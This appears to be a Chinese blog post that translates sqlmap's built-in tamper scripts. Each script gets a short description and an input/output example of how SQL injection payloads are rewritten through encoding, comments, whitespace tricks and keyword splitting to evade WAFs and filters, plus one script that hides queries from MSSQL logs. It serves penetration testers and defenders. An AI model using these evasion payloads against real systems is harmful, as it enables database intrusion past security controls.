sqlmap绕过脚本解析

sqlmap自带的绕过脚本，简单翻译了一下，部分可能翻译的不到位，见谅。。

apostrophemask.py UTF-8编码

Example:

* Input: AND '1'='1'

* Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87

apostrophenullencode.py unicode编码

Example:

* Input: AND '1'='1'

* Output: AND %00%271%00%27=%00%271%00%27

appendnullbyte.py 添加%00

Example:

* Input: AND 1=1

* Output: AND 1=1%00

Requirement:

* Microsoft Access

base64encode.py base64编码

Example:

* Input: 1' AND SLEEP(5)#

* Output: MScgQU5EIFNMRUVQKDUpIw==

between.py 以“not between”替换“>”

Example:

* Input: 'A > B'

* Output: 'A NOT BETWEEN 0 AND B'

bluecoat.py 以随机的空白字符替代空格，以“like”替代“=”

Example:

* Input: SELECT id FROM users where id = 1

* Output: SELECT%09id FROM users where id LIKE 1

Requirement:

* MySQL 5.1, SGOS

chardoubleencode.py 双重url编码

Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charencode.py url编码

Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

charunicodeencode.py 对未进行url编码的字符进行unicode编码

Example:

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'

Requirement:

* ASP

* ASP.NET

equaltolike.py 以“like”替代“=”

Example:

* Input: SELECT * FROM users WHERE id=1

* Output: SELECT * FROM users WHERE id LIKE 1

halfversionedmorekeywords.py在每个关键字前添加条件注释

Example:

* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa

* Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa

Requirement:

* MySQL < 5.1

ifnull2ifisnull.py 以“IF(ISNULL(A), B, A)”替换“IFNULL(A, B)”

Example:

* Input: IFNULL(1, 2)

* Output: IF(ISNULL(1), 2, 1)

Requirement:

* MySQL

* SQLite (possibly)

* SAP MaxDB (possibly)

modsecurityversioned.py 条件注释

Example:

* Input: 1 AND 2>1--

* Output: 1 /*!30000AND 2>1*/--

Requirement:

* MySQL

modsecurityzeroversioned.py 条件注释，0000

Example:

* Input: 1 AND 2>1--

* Output: 1 /*!00000AND 2>1*/--

Requirement:

* MySQL

multiplespaces.py 添加多个空格

Example:

* Input: UNION SELECT

* Output:  UNION   SELECT

nonrecursivereplacement.py 可以绕过对关键字删除的防注入（这个我也不知道怎么说好，看例子。。。）

Example:

* Input: 1 UNION SELECT 2--

* Output: 1 UNUNIONION SELSELECTECT 2--

percentage.py 在每个字符前添加百分号（%）

Example:

* Input: SELECT FIELD FROM TABLE

* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

Requirement:

* ASP

randomcase.py 随即大小写

Example:

* Input: INSERT

* Output: InsERt

randomcomments.py 随机插入区块注释

Example: 

'INSERT' becomes 'IN/**/S/**/ERT'

securesphere.py 语句结尾添加“真”字符串

Example:

* Input: AND 1=1

* Output: AND 1=1 and '0having'='0having'

sp_password.py 语句结尾添加“sp_password”迷惑数据库日志（很。。。）

Example: www.2cto.com

* Input: 1 AND 9227=9227--

* Output: 1 AND 9227=9227--sp_password

Requirement:

* MSSQL

space2comment.py 以区块注释替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECT/**/id/**/FROM/**/users

space2dash.py 以单行注释“--”和随机的新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227

Requirement:

* MSSQL

* SQLite

space2hash.py 以单行注释“#”和由随机字符组成的新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

* MySQL

space2morehash.py 没看出来和上面那个有什么区别。。

Requirement:

* MySQL >= 5.1.13

space2mssqlblank.py 以随机空白字符替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECT%08id%02FROM%0Fusers

Requirement:

* Microsoft SQL Server

space2mssqlhash.py 以单行注释“#”和新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1%23%0A9227=9227

Requirement:

* MSSQL

* MySQL

space2mysqlblank.py 以随机空白字符替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECT%0Bid%0BFROM%A0users

Requirement:

* MySQL

space2mysqldash.py 以单行注释和新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1--%0AAND--%0A9227=9227

Requirement:

* MySQL

* MSSQL

space2plus.py 以“+”替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECT+id+FROM+users

space2randomblank.py 随机空白字符替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECT\rid\tFROM\nusers

unionalltounion.py 以“union all”替换“union”

Example:

* Input: -1 UNION ALL SELECT

* Output: -1 UNION SELECT

unmagicquotes.py 以“%bf%27”替换单引号，并在结尾添加注释“--”

Example:

* Input: 1' AND 1=1

* Output: 1%bf%27 AND 1=1--%20

versionedkeywords.py 对不是函数的关键字条件注释

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

Requirement:

* MySQL

versionedmorekeywords.py 对关键字条件注释

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

Requirement:

* MySQL >= 5.1.13